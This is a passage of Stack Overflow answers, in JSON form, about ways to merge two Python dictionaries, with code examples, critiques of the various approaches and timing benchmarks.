"text": "<p>The problem I have with solutions listed to date is that, in the merged dictionary, the value for key \"b\" is 10 but, to my way of thinking, it should be 12.\nIn that light, I present the following:</p>\n\n<pre><code>import timeit\n\nn=100000\nsu = \"\"\"\nx = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\n\"\"\"\n\ndef timeMerge(f,su,niter):\n print \"{:4f} sec for: {:30s}\".format(timeit.Timer(f,setup=su).timeit(n),f)\n\ntimeMerge(\"dict(x, **y)\",su,n)\ntimeMerge(\"x.update(y)\",su,n)\ntimeMerge(\"dict(x.items() + y.items())\",su,n)\ntimeMerge(\"for k in y.keys(): x[k] = k in x and x[k]+y[k] or y[k] \",su,n)\n\n#confirm for loop adds b entries together\nx = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\nfor k in y.keys(): x[k] = k in x and x[k]+y[k] or y[k]\nprint \"confirm b elements are added:\",x\n</code></pre>\n\n<h1>Results:</h1>\n\n<pre><code>0.049465 sec for: dict(x, **y)\n0.033729 sec for: x.update(y) \n0.150380 sec for: dict(x.items() + y.items()) \n0.083120 sec for: for k in y.keys(): x[k] = k in x and x[k]+y[k] or y[k]\n\nconfirm b elements are added: {'a': 1, 'c': 11, 'b': 12}\n</code></pre>\n"
},
{
"answer_id": 22122836,
"author": "GetFree",
"author_id": 25700,
"author_profile": "https://Stackoverflow.com/users/25700",
"pm_score": 4,
"selected": false,
"text": "<p>It's so silly that <code>.update</code> returns nothing.<br>\nI just use a simple helper function to solve the problem:</p>\n\n<pre><code>def merge(dict1,*dicts):\n for dict2 in dicts:\n dict1.update(dict2)\n return dict1\n</code></pre>\n\n<p>Examples:</p>\n\n<pre><code>merge(dict1,dict2)\nmerge(dict1,dict2,dict3)\nmerge(dict1,dict2,dict3,dict4)\nmerge({},dict1,dict2) # this one returns a new copy\n</code></pre>\n"
},
{
"answer_id": 26111877,
"author": "bassounds",
"author_id": 3169972,
"author_profile": "https://Stackoverflow.com/users/3169972",
"pm_score": 3,
"selected": false,
"text": "<p>A union of the OP's two dictionaries would be something like:</p>\n\n<pre><code>{'a': 1, 'b': 2, 10, 'c': 11}\n</code></pre>\n\n<p>Specifically, the union of two entities(<code>x</code> and <code>y</code>) contains all the elements of <code>x</code> and/or <code>y</code>.\nUnfortunately, what the OP asks for is not a union, despite the title of the post.</p>\n\n<p>My code below is neither elegant nor a one-liner, but I believe it is consistent with the meaning of union.</p>\n\n<p>From the OP's example:</p>\n\n<pre><code>x = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\n\nz = {}\nfor k, v in x.items():\n if not k in z:\n z[k] = [(v)]\n else:\n z[k].append((v))\nfor k, v in y.items():\n if not k in z:\n z[k] = [(v)]\n else:\n z[k].append((v))\n\n{'a': [1], 'b': [2, 10], 'c': [11]}\n</code></pre>\n\n<p>Whether one wants lists could be changed, but the above will work if a dictionary contains lists (and nested lists) as values in either dictionary.</p>\n"
},
{
"answer_id": 26853961,
"author": "Russia Must Remove Putin",
"author_id": 541136,
"author_profile": "https://Stackoverflow.com/users/541136",
"pm_score": 14,
"selected": true,
"text": "<h2>How can I merge two Python dictionaries in a single expression?</h2>\n<p>For dictionaries <code>x</code> and <code>y</code>, their shallowly-merged dictionary <code>z</code> takes values from <code>y</code>, replacing those from <code>x</code>.</p>\n<ul>\n<li><p>In Python 3.9.0 or greater (released 17 October 2020, <a href=\"https://www.python.org/dev/peps/pep-0584/\" rel=\"noreferrer\"><code>PEP-584</code></a>, <a href=\"https://bugs.python.org/issue36144\" rel=\"noreferrer\">discussed here</a>):</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = x | y\n</code></pre>\n</li>\n<li><p>In Python 3.5 or greater:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = {**x, **y}\n</code></pre>\n</li>\n<li><p>In Python 2, (or 3.4 or lower) write a function:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def merge_two_dicts(x, y):\n z = x.copy() # start with keys and values of x\n z.update(y) # modifies z with keys and values of y\n return z\n</code></pre>\n<p>and now:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = merge_two_dicts(x, y)\n</code></pre>\n</li>\n</ul>\n<h3>Explanation</h3>\n<p>Say you have two dictionaries and you want to merge them into a new dictionary without altering the original dictionaries:</p>\n<pre class=\"lang-py prettyprint-override\"><code>x = {'a': 1, 'b': 2}\ny = {'b': 3, 'c': 4}\n</code></pre>\n<p>The desired result is to get a new dictionary (<code>z</code>) with the values merged, and the second dictionary's values overwriting those from the first.</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> z\n{'a': 1, 'b': 3, 'c': 4}\n</code></pre>\n<p>A new syntax for this, proposed in <a href=\"https://www.python.org/dev/peps/pep-0448\" rel=\"noreferrer\">PEP 448</a> and <a href=\"https://mail.python.org/pipermail/python-dev/2015-February/138564.html\" rel=\"noreferrer\">available as of Python 3.5</a>, is</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = {**x, **y}\n</code></pre>\n<p>And it is indeed a single expression.</p>\n<p>Note that we can merge in with literal notation as well:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = {**x, 'foo': 1, 'bar': 2, **y}\n</code></pre>\n<p>and now:</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> z\n{'a': 1, 'b': 3, 'foo': 1, 'bar': 2, 'c': 4}\n</code></pre>\n<p>It is now showing as implemented in the <a href=\"https://www.python.org/dev/peps/pep-0478/#features-for-3-5\" rel=\"noreferrer\">release schedule for 3.5, PEP 478</a>, and it has now made its way into the <a href=\"https://docs.python.org/dev/whatsnew/3.5.html#pep-448-additional-unpacking-generalizations\" rel=\"noreferrer\">What's New in Python 3.5</a> document.</p>\n<p>However, since many organizations are still on Python 2, you may wish to do this in a backward-compatible way. The classically Pythonic way, available in Python 2 and Python 3.0-3.4, is to do this as a two-step process:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = x.copy()\nz.update(y) # which returns None since it mutates z\n</code></pre>\n<p>In both approaches, <code>y</code> will come second and its values will replace <code>x</code>'s values, thus <code>b</code> will point to <code>3</code> in our final result.</p>\n<h2>Not yet on Python 3.5, but want a <em>single expression</em></h2>\n<p>If you are not yet on Python 3.5 or need to write backward-compatible code, and you want this in a <em>single expression</em>, the most performant while the correct approach is to put it in a function:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def merge_two_dicts(x, y):\n """Given two dictionaries, merge them into a new dict as a shallow copy."""\n z = x.copy()\n z.update(y)\n return z\n</code></pre>\n<p>and then you have a single expression:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = merge_two_dicts(x, y)\n</code></pre>\n<p>You can also make a function to merge an arbitrary number of dictionaries, from zero to a very large number:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def merge_dicts(*dict_args):\n """\n Given any number of dictionaries, shallow copy and merge into a new dict,\n precedence goes to key-value pairs in latter dictionaries.\n """\n result = {}\n for dictionary in dict_args:\n result.update(dictionary)\n return result\n</code></pre>\n<p>This function will work in Python 2 and 3 for all dictionaries. e.g. given dictionaries <code>a</code> to <code>g</code>:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = merge_dicts(a, b, c, d, e, f, g) \n</code></pre>\n<p>and key-value pairs in <code>g</code> will take precedence over dictionaries <code>a</code> to <code>f</code>, and so on.</p>\n<h2>Critiques of Other Answers</h2>\n<p>Don't use what you see in the formerly accepted answer:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = dict(x.items() + y.items())\n</code></pre>\n<p>In Python 2, you create two lists in memory for each dict, create a third list in memory with length equal to the length of the first two put together, and then discard all three lists to create the dict. <strong>In Python 3, this will fail</strong> because you're adding two <code>dict_items</code> objects together, not two lists -</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> c = dict(a.items() + b.items())\nTraceback (most recent call last):\n File "<stdin>", line 1, in <module>\nTypeError: unsupported operand type(s) for +: 'dict_items' and 'dict_items'\n</code></pre>\n<p>and you would have to explicitly create them as lists, e.g. <code>z = dict(list(x.items()) + list(y.items()))</code>. This is a waste of resources and computation power.</p>\n<p>Similarly, taking the union of <code>items()</code> in Python 3 (<code>viewitems()</code> in Python 2.7) will also fail when values are unhashable objects (like lists, for example). Even if your values are hashable, <strong>since sets are semantically unordered, the behavior is undefined in regards to precedence. So don't do this:</strong></p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> c = dict(a.items() | b.items())\n</code></pre>\n<p>This example demonstrates what happens when values are unhashable:</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> x = {'a': []}\n>>> y = {'b': []}\n>>> dict(x.items() | y.items())\nTraceback (most recent call last):\n File "<stdin>", line 1, in <module>\nTypeError: unhashable type: 'list'\n</code></pre>\n<p>Here's an example where <code>y</code> should have precedence, but instead the value from <code>x</code> is retained due to the arbitrary order of sets:</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> x = {'a': 2}\n>>> y = {'a': 1}\n>>> dict(x.items() | y.items())\n{'a': 2}\n</code></pre>\n<p>Another hack you should not use:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = dict(x, **y)\n</code></pre>\n<p>This uses the <code>dict</code> constructor and is very fast and memory-efficient (even slightly more so than our two-step process) but unless you know precisely what is happening here (that is, the second dict is being passed as keyword arguments to the dict constructor), it's difficult to read, it's not the intended usage, and so it is not Pythonic.</p>\n<p>Here's an example of the usage being <a href=\"https://code.djangoproject.com/attachment/ticket/13357/django-pypy.2.diff\" rel=\"noreferrer\">remediated in django</a>.</p>\n<p>Dictionaries are intended to take hashable keys (e.g. <code>frozenset</code>s or tuples), but <strong>this method fails in Python 3 when keys are not strings.</strong></p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> c = dict(a, **b)\nTraceback (most recent call last):\n File "<stdin>", line 1, in <module>\nTypeError: keyword arguments must be strings\n</code></pre>\n<p>From the <a href=\"https://mail.python.org/pipermail/python-dev/2010-April/099459.html\" rel=\"noreferrer\">mailing list</a>, Guido van Rossum, the creator of the language, wrote:</p>\n<blockquote>\n<p>I am fine with\ndeclaring dict({}, **{1:3}) illegal, since after all it is abuse of\nthe ** mechanism.</p>\n</blockquote>\n<p>and</p>\n<blockquote>\n<p>Apparently dict(x, **y) is going around as "cool hack" for "call\nx.update(y) and return x". Personally, I find it more despicable than\ncool.</p>\n</blockquote>\n<p>It is my understanding (as well as the understanding of the <a href=\"https://mail.python.org/pipermail/python-dev/2010-April/099485.html\" rel=\"noreferrer\">creator of the language</a>) that the intended usage for <code>dict(**y)</code> is for creating dictionaries for readability purposes, e.g.:</p>\n<pre class=\"lang-py prettyprint-override\"><code>dict(a=1, b=10, c=11)\n</code></pre>\n<p>instead of</p>\n<pre class=\"lang-py prettyprint-override\"><code>{'a': 1, 'b': 10, 'c': 11}\n</code></pre>\n<h2>Response to comments</h2>\n<blockquote>\n<p>Despite what Guido says, <code>dict(x, **y)</code> is in line with the dict specification, which btw. works for both Python 2 and 3. The fact that this only works for string keys is a direct consequence of how keyword parameters work and not a short-coming of dict. Nor is using the ** operator in this place an abuse of the mechanism, in fact, ** was designed precisely to pass dictionaries as keywords.</p>\n</blockquote>\n<p>Again, it doesn't work for 3 when keys are not strings. The implicit calling contract is that namespaces take ordinary dictionaries, while users must only pass keyword arguments that are strings. All other callables enforced it. <code>dict</code> broke this consistency in Python 2:</p>\n<pre><code>>>> foo(**{('a', 'b'): None})\nTraceback (most recent call last):\n File "<stdin>", line 1, in <module>\nTypeError: foo() keywords must be strings\n>>> dict(**{('a', 'b'): None})\n{('a', 'b'): None}\n</code></pre>\n<p>This inconsistency was bad given other implementations of Python (PyPy, Jython, IronPython). Thus it was fixed in Python 3, as this usage could be a breaking change.</p>\n<p>I submit to you that it is malicious incompetence to intentionally write code that only works in one version of a language or that only works given certain arbitrary constraints.</p>\n<p>More comments:</p>\n<blockquote>\n<p><code>dict(x.items() + y.items())</code> is still the most readable solution for Python 2. Readability counts.</p>\n</blockquote>\n<p>My response: <code>merge_two_dicts(x, y)</code> actually seems much clearer to me, if we're actually concerned about readability. And it is not forward compatible, as Python 2 is increasingly deprecated.</p>\n<blockquote>\n<p><code>{**x, **y}</code> does not seem to handle nested dictionaries. the contents of nested keys are simply overwritten, not merged [...] I ended up being burnt by these answers that do not merge recursively and I was surprised no one mentioned it. In my interpretation of the word "merging" these answers describe "updating one dict with another", and not merging.</p>\n</blockquote>\n<p>Yes. I must refer you back to the question, which is asking for a <em>shallow</em> merge of <em><strong>two</strong></em> dictionaries, with the first's values being overwritten by the second's - in a single expression.</p>\n<p>Assuming two dictionaries of dictionaries, one might recursively merge them in a single function, but you should be careful not to modify the dictionaries from either source, and the surest way to avoid that is to make a copy when assigning values. As keys must be hashable and are usually therefore immutable, it is pointless to copy them:</p>\n<pre class=\"lang-py prettyprint-override\"><code>from copy import deepcopy\n\ndef dict_of_dicts_merge(x, y):\n z = {}\n overlapping_keys = x.keys() & y.keys()\n for key in overlapping_keys:\n z[key] = dict_of_dicts_merge(x[key], y[key])\n for key in x.keys() - overlapping_keys:\n z[key] = deepcopy(x[key])\n for key in y.keys() - overlapping_keys:\n z[key] = deepcopy(y[key])\n return z\n</code></pre>\n<p>Usage:</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> x = {'a':{1:{}}, 'b': {2:{}}}\n>>> y = {'b':{10:{}}, 'c': {11:{}}}\n>>> dict_of_dicts_merge(x, y)\n{'b': {2: {}, 10: {}}, 'a': {1: {}}, 'c': {11: {}}}\n</code></pre>\n<p>Coming up with contingencies for other value types is far beyond the scope of this question, so I will point you at <a href=\"https://stackoverflow.com/a/24088493/541136\">my answer to the canonical question on a "Dictionaries of dictionaries merge"</a>.</p>\n<h2>Less Performant But Correct Ad-hocs</h2>\n<p>These approaches are less performant, but they will provide correct behavior.\nThey will be <em>much less</em> performant than <code>copy</code> and <code>update</code> or the new unpacking because they iterate through each key-value pair at a higher level of abstraction, but they <em>do</em> respect the order of precedence (latter dictionaries have precedence)</p>\n<p>You can also chain the dictionaries manually inside a <a href=\"https://www.python.org/dev/peps/pep-0274/\" rel=\"noreferrer\">dict comprehension</a>:</p>\n<pre class=\"lang-py prettyprint-override\"><code>{k: v for d in dicts for k, v in d.items()} # iteritems in Python 2.7\n</code></pre>\n<p>or in Python 2.6 (and perhaps as early as 2.4 when generator expressions were introduced):</p>\n<pre class=\"lang-py prettyprint-override\"><code>dict((k, v) for d in dicts for k, v in d.items()) # iteritems in Python 2\n</code></pre>\n<p><code>itertools.chain</code> will chain the iterators over the key-value pairs in the correct order:</p>\n<pre class=\"lang-py prettyprint-override\"><code>from itertools import chain\nz = dict(chain(x.items(), y.items())) # iteritems in Python 2\n</code></pre>\n<h2>Performance Analysis</h2>\n<p>I'm only going to do the performance analysis of the usages known to behave correctly. (Self-contained so you can copy and paste yourself.)</p>\n<pre class=\"lang-py prettyprint-override\"><code>from timeit import repeat\nfrom itertools import chain\n\nx = dict.fromkeys('abcdefg')\ny = dict.fromkeys('efghijk')\n\ndef merge_two_dicts(x, y):\n z = x.copy()\n z.update(y)\n return z\n\nmin(repeat(lambda: {**x, **y}))\nmin(repeat(lambda: merge_two_dicts(x, y)))\nmin(repeat(lambda: {k: v for d in (x, y) for k, v in d.items()}))\nmin(repeat(lambda: dict(chain(x.items(), y.items()))))\nmin(repeat(lambda: dict(item for d in (x, y) for item in d.items())))\n</code></pre>\n<p>In Python 3.8.1, NixOS:</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> min(repeat(lambda: {**x, **y}))\n1.0804965235292912\n>>> min(repeat(lambda: merge_two_dicts(x, y)))\n1.636518670246005\n>>> min(repeat(lambda: {k: v for d in (x, y) for k, v in d.items()}))\n3.1779992282390594\n>>> min(repeat(lambda: dict(chain(x.items(), y.items()))))\n2.740647904574871\n>>> min(repeat(lambda: dict(item for d in (x, y) for item in d.items())))\n4.266070580109954\n</code></pre>\n<pre class=\"lang-sh prettyprint-override\"><code>$ uname -a\nLinux nixos 4.19.113 #1-NixOS SMP Wed Mar 25 07:06:15 UTC 2020 x86_64 GNU/Linux\n</code></pre>\n<h2>Resources on Dictionaries</h2>\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/327311/how-are-pythons-built-in-dictionaries-implemented/44509302#44509302\">My explanation of Python's <strong>dictionary implementation</strong>, updated for 3.6.</a></li>\n<li><a href=\"https://stackoverflow.com/questions/1024847/add-new-keys-to-a-dictionary/27208535#27208535\">Answer on how to add new keys to a dictionary</a></li>\n<li><a href=\"https://stackoverflow.com/questions/209840/map-two-lists-into-a-dictionary-in-python/33737067#33737067\">Mapping two lists into a dictionary</a></li>\n<li><a href=\"https://docs.python.org/3/tutorial/datastructures.html#dictionaries\" rel=\"noreferrer\">The official Python docs on dictionaries</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=66P5FMkWoVU\" rel=\"noreferrer\">The Dictionary Even Mightier</a> - talk by Brandon Rhodes at Pycon 2017</li>\n<li><a href=\"https://www.youtube.com/watch?v=npw4s1QTmPg\" rel=\"noreferrer\">Modern Python Dictionaries, A Confluence of Great Ideas</a> - talk by Raymond Hettinger at Pycon 2017</li>\n</ul>\n"
},
{
"answer_id": 28753078,
"author": "Bilal Syed Hussain",
"author_id": 852240,
"author_profile": "https://Stackoverflow.com/users/852240",
"pm_score": 7,
"selected": false,
"text": "<p>Python 3.5 (PEP 448) allows a nicer syntax option:</p>\n\n<pre><code>x = {'a': 1, 'b': 1}\ny = {'a': 2, 'c': 2}\nfinal = {**x, **y} \nfinal\n# {'a': 2, 'b': 1, 'c': 2}\n</code></pre>\n\n<p>Or even </p>\n\n<pre><code>final = {'a': 1, 'b': 1, **x, **y}\n</code></pre>\n\n<p>In Python 3.9 you also use | and |= with the below example from PEP 584</p>\n\n<pre><code>d = {'spam': 1, 'eggs': 2, 'cheese': 3}\ne = {'cheese': 'cheddar', 'aardvark': 'Ethel'}\nd | e\n# {'spam': 1, 'eggs': 2, 'cheese': 'cheddar', 'aardvark': 'Ethel'}\n</code></pre>\n"
},
{
"answer_id": 31478567,
"author": "RemcoGerlich",
"author_id": 799163,
"author_profile": "https://Stackoverflow.com/users/799163",
"pm_score": 4,
"selected": false,
"text": "<p>This can be done with a single dict comprehension:</p>\n\n<pre><code>>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> { key: y[key] if key in y else x[key]\n for key in set(x) + set(y)\n }\n</code></pre>\n\n<p>In my view the best answer for the 'single expression' part as no extra functions are needed, and it is short.</p>\n"
},
{
"answer_id": 31812635,
"author": "reubano",
"author_id": 408556,
"author_profile": "https://Stackoverflow.com/users/408556",
"pm_score": 5,
"selected": false,
"text": "<p>Simple solution using itertools that preserves order (latter dicts have precedence)</p>\n<pre><code># py2\nfrom itertools import chain, imap\nmerge = lambda *args: dict(chain.from_iterable(imap(dict.iteritems, args)))\n\n# py3\nfrom itertools import chain\nmerge = lambda *args: dict(chain.from_iterable(map(dict.items, args)))\n</code></pre>\n<p>And it's usage:</p>\n<pre><code>>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> merge(x, y)\n{'a': 1, 'b': 10, 'c': 11}\n\n>>> z = {'c': 3, 'd': 4}\n>>> merge(x, y, z)\n{'a': 1, 'b': 10, 'c': 3, 'd': 4}\n</code></pre>\n"
},
{
"answer_id": 33999337,
"author": "reetesh11",
"author_id": 3145137,
"author_profile": "https://Stackoverflow.com/users/3145137",
"pm_score": 4,
"selected": false,
"text": "<pre><code>from collections import Counter\ndict1 = {'a':1, 'b': 2}\ndict2 = {'b':10, 'c': 11}\nresult = dict(Counter(dict1) + Counter(dict2))\n</code></pre>\n\n<p>This should solve your problem.</p>\n"
},
{
"answer_id": 34899183,
"author": "Robino",
"author_id": 833208,
"author_profile": "https://Stackoverflow.com/users/833208",
"pm_score": 6,
"selected": false,
"text": "<p>Be Pythonic. Use a <a href=\"https://docs.python.org/2/tutorial/datastructures.html#dictionaries\" rel=\"nofollow noreferrer\">comprehension</a>:</p>\n<pre><code>z={k: v for d in [x,y] for k, v in d.items()}\n\n>>> print z\n{'a': 1, 'c': 11, 'b': 10}\n</code></pre>\n"
},
{
"answer_id": 36263150,
"author": "kjo",
"author_id": 559827,
"author_profile": "https://Stackoverflow.com/users/559827",
"pm_score": 4,
"selected": false,
"text": "<p>(For Python 2.7* only; there are simpler solutions for Python 3*.)</p>\n<p>If you're not averse to importing a standard library module, you can do</p>\n<pre><code>from functools import reduce\n\ndef merge_dicts(*dicts):\n return reduce(lambda a, d: a.update(d) or a, dicts, {})\n</code></pre>\n<p>(The <code>or a</code> bit in the <code>lambda</code> is necessary because <code>dict.update</code> always returns <code>None</code> on success.)</p>\n"
},
{
"answer_id": 37304637,
"author": "Alfe",
"author_id": 1281485,
"author_profile": "https://Stackoverflow.com/users/1281485",
"pm_score": 3,
"selected": false,
"text": "<p>I know this does not really fit the specifics of the questions (\"one liner\"), but since <em>none</em> of the answers above went into this direction while lots and lots of answers addressed the performance issue, I felt I should contribute my thoughts.</p>\n\n<p>Depending on the use case it might not be necessary to create a \"real\" merged dictionary of the given input dictionaries. A <em>view</em> which does this might be sufficient in many cases, i. e. an object which acts <em>like</em> the merged dictionary would without computing it completely. A lazy version of the merged dictionary, so to speak.</p>\n\n<p>In Python, this is rather simple and can be done with the code shown at the end of my post. This given, the answer to the original question would be:</p>\n\n<pre><code>z = MergeDict(x, y)\n</code></pre>\n\n<p>When using this new object, it will behave like a merged dictionary but it will have constant creation time and constant memory footprint while leaving the original dictionaries untouched. Creating it is way cheaper than in the other solutions proposed.</p>\n\n<p>Of course, if you use the result a lot, then you will at some point reach the limit where creating a real merged dictionary would have been the faster solution. As I said, it depends on your use case.</p>\n\n<p>If you ever felt you would prefer to have a real merged <code>dict</code>, then calling <code>dict(z)</code> would produce it (but way more costly than the other solutions of course, so this is just worth mentioning).</p>\n\n<p>You can also use this class to make a kind of copy-on-write dictionary:</p>\n\n<pre><code>a = { 'x': 3, 'y': 4 }\nb = MergeDict(a) # we merge just one dict\nb['x'] = 5\nprint b # will print {'x': 5, 'y': 4}\nprint a # will print {'y': 4, 'x': 3}\n</code></pre>\n\n<p>Here's the straight-forward code of <code>MergeDict</code>:</p>\n\n<pre><code>class MergeDict(object):\n def __init__(self, *originals):\n self.originals = ({},) + originals[::-1] # reversed\n\n def __getitem__(self, key):\n for original in self.originals:\n try:\n return original[key]\n except KeyError:\n pass\n raise KeyError(key)\n\n def __setitem__(self, key, value):\n self.originals[0][key] = value\n\n def __iter__(self):\n return iter(self.keys())\n\n def __repr__(self):\n return '%s(%s)' % (\n self.__class__.__name__,\n ', '.join(repr(original)\n for original in reversed(self.originals)))\n\n def __str__(self):\n return '{%s}' % ', '.join(\n '%r: %r' % i for i in self.iteritems())\n\n def iteritems(self):\n found = set()\n for original in self.originals:\n for k, v in original.iteritems():\n if k not in found:\n yield k, v\n found.add(k)\n\n def items(self):\n return list(self.iteritems())\n\n def keys(self):\n return list(k for k, _ in self.iteritems())\n\n def values(self):\n return list(v for _, v in self.iteritems())\n</code></pre>\n"
},
{
"answer_id": 40677646,
"author": "Mike Graham",
"author_id": 192839,
"author_profile": "https://Stackoverflow.com/users/192839",
"pm_score": 3,
"selected": false,
"text": "<p>You can use <a href=\"http://toolz.readthedocs.io/en/latest/api.html#toolz.dicttoolz.merge\" rel=\"nofollow noreferrer\"><code>toolz.merge([x, y])</code></a> for this.</p>\n"
},
{
"answer_id": 44262317,
"author": "gboffi",
"author_id": 2749397,
"author_profile": "https://Stackoverflow.com/users/2749397",
"pm_score": 0,
"selected": false,
"text": "<p>The question is tagged <code>python-3x</code> but, taking into account that it's a relatively recent addition and that the most voted, accepted answer deals extensively with a Python 2.x solution, I dare add a one liner that draws on an irritating feature of Python 2.x list comprehension, that is <em>name leaking</em>...</p>\n\n<pre><code>$ python2\nPython 2.7.13 (default, Jan 19 2017, 14:48:08) \n[GCC 6.3.0 20170118] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> [z.update(d) for z in [{}] for d in (x, y)]\n[None, None]\n>>> z\n{'a': 1, 'c': 11, 'b': 10}\n>>> ...\n</code></pre>\n\n<p>I'm happy to say that the above doesn't work any more on any version of Python 3.</p>\n"
},
{
"answer_id": 46356150,
"author": "gilch",
"author_id": 4381487,
"author_profile": "https://Stackoverflow.com/users/4381487",
"pm_score": 5,
"selected": false,
"text": "<p>If you don't mind mutating <code>x</code>,</p>\n<pre><code>x.update(y) or x\n</code></pre>\n<p>Simple, readable, performant. You <em>know</em> <code>update()</code> always returns <code>None</code>, which is a false value. So the above expression will always evaluate to <code>x</code>, after updating it.</p>\n<p>Most mutating methods in the standard library (like <code>.update()</code>) return <code>None</code> by convention, so this kind of pattern will work on those too. However, if you're using a dict subclass or some other method that doesn't follow this convention, then <code>or</code> may return its left operand, which may not be what you want. Instead, you can use a tuple display and index, which works regardless of what the first element evaluates to (although it's not quite as pretty):</p>\n<pre><code>(x.update(y), x)[-1]\n</code></pre>\n<p>If you don't have <code>x</code> in a variable yet, you can use <code>lambda</code> to make a local without using an assignment statement. This amounts to using <code>lambda</code> as a <em>let expression</em>, which is a common technique in functional languages, but is maybe unpythonic.</p>\n<pre><code>(lambda x: x.update(y) or x)({'a': 1, 'b': 2})\n</code></pre>\n<p>Although it's not that different from the following use of the new walrus operator (Python 3.8+ only),</p>\n<pre><code>(x := {'a': 1, 'b': 2}).update(y) or x\n</code></pre>\n<p>especially if you use a default argument:</p>\n<pre><code>(lambda x={'a': 1, 'b': 2}: x.update(y) or x)()\n</code></pre>\n<p>If you do want a copy, <a href=\"https://www.python.org/dev/peps/pep-0584/\" rel=\"noreferrer\">PEP 584</a> style <code>x | y</code> is the most Pythonic on 3.9+. If you must support older versions, <a href=\"https://www.python.org/dev/peps/pep-0448/\" rel=\"noreferrer\">PEP 448</a> style <code>{**x, **y}</code> is easiest for 3.5+. But if that's not available in your (even older) Python version, the <em>let expression</em> pattern works here too.</p>\n<pre><code>(lambda z=x.copy(): z.update(y) or z)()\n</code></pre>\n<p>(That is, of course, nearly equivalent to <code>(z := x.copy()).update(y) or z</code>, but if your Python version is new enough for that, then the PEP 448 style will be available.)</p>\n"
},
{
"answer_id": 49420387,
"author": "litepresence",
"author_id": 3680588,
"author_profile": "https://Stackoverflow.com/users/3680588",
"pm_score": 3,
"selected": false,
"text": "<p>I was curious if I could beat the accepted answer's time with a one line stringify approach:</p>\n\n<p>I tried 5 methods, none previously mentioned - all one liner - all producing correct answers - and I couldn't come close.</p>\n\n<p>So... to save you the trouble and perhaps fulfill curiosity:</p>\n\n<pre><code>import json\nimport yaml\nimport time\nfrom ast import literal_eval as literal\n\ndef merge_two_dicts(x, y):\n z = x.copy() # start with x's keys and values\n z.update(y) # modifies z with y's keys and values & returns None\n return z\n\nx = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\n\nstart = time.time()\nfor i in range(10000):\n z = yaml.load((str(x)+str(y)).replace('}{',', '))\nelapsed = (time.time()-start)\nprint (elapsed, z, 'stringify yaml')\n\nstart = time.time()\nfor i in range(10000):\n z = literal((str(x)+str(y)).replace('}{',', '))\nelapsed = (time.time()-start)\nprint (elapsed, z, 'stringify literal')\n\nstart = time.time()\nfor i in range(10000):\n z = eval((str(x)+str(y)).replace('}{',', '))\nelapsed = (time.time()-start)\nprint (elapsed, z, 'stringify eval')\n\nstart = time.time()\nfor i in range(10000):\n z = {k:int(v) for k,v in (dict(zip(\n ((str(x)+str(y))\n .replace('}',' ')\n .replace('{',' ')\n .replace(':',' ')\n .replace(',',' ')\n .replace(\"'\",'')\n .strip()\n .split(' '))[::2], \n ((str(x)+str(y))\n .replace('}',' ')\n .replace('{',' ').replace(':',' ')\n .replace(',',' ')\n .replace(\"'\",'')\n .strip()\n .split(' '))[1::2]\n ))).items()}\nelapsed = (time.time()-start)\nprint (elapsed, z, 'stringify replace')\n\nstart = time.time()\nfor i in range(10000):\n z = json.loads(str((str(x)+str(y)).replace('}{',', ').replace(\"'\",'\"')))\nelapsed = (time.time()-start)\nprint (elapsed, z, 'stringify json')\n\nstart = time.time()\nfor i in range(10000):\n z = merge_two_dicts(x, y)\nelapsed = (time.time()-start)\nprint (elapsed, z, 'accepted')\n</code></pre>\n\n<p>results:</p>\n\n<pre><code>7.693928956985474 {'c': 11, 'b': 10, 'a': 1} stringify yaml\n0.29134678840637207 {'c': 11, 'b': 10, 'a': 1} stringify literal\n0.2208399772644043 {'c': 11, 'b': 10, 'a': 1} stringify eval\n0.1106564998626709 {'c': 11, 'b': 10, 'a': 1} stringify replace\n0.07989692687988281 {'c': 11, 'b': 10, 'a': 1} stringify json\n0.005082368850708008 {'c': 11, 'b': 10, 'a': 1} accepted\n</code></pre>\n\n<p>What I did learn from this is that JSON approach is the fastest way (of those attempted) to return a dictionary from string-of-dictionary; much faster (about 1/4th of the time) of what I considered to be the normal method using <code>ast</code>. I also learned that, the YAML approach should be avoided at all cost.</p>\n\n<p>Yes, I understand that this is not the best/correct way. I was curious if it was faster, and it isn't; I posted to prove it so.</p>\n"
},
{
"answer_id": 49847631,
"author": "Josh Bode",
"author_id": 182469,
"author_profile": "https://Stackoverflow.com/users/182469",
"pm_score": 3,
"selected": false,
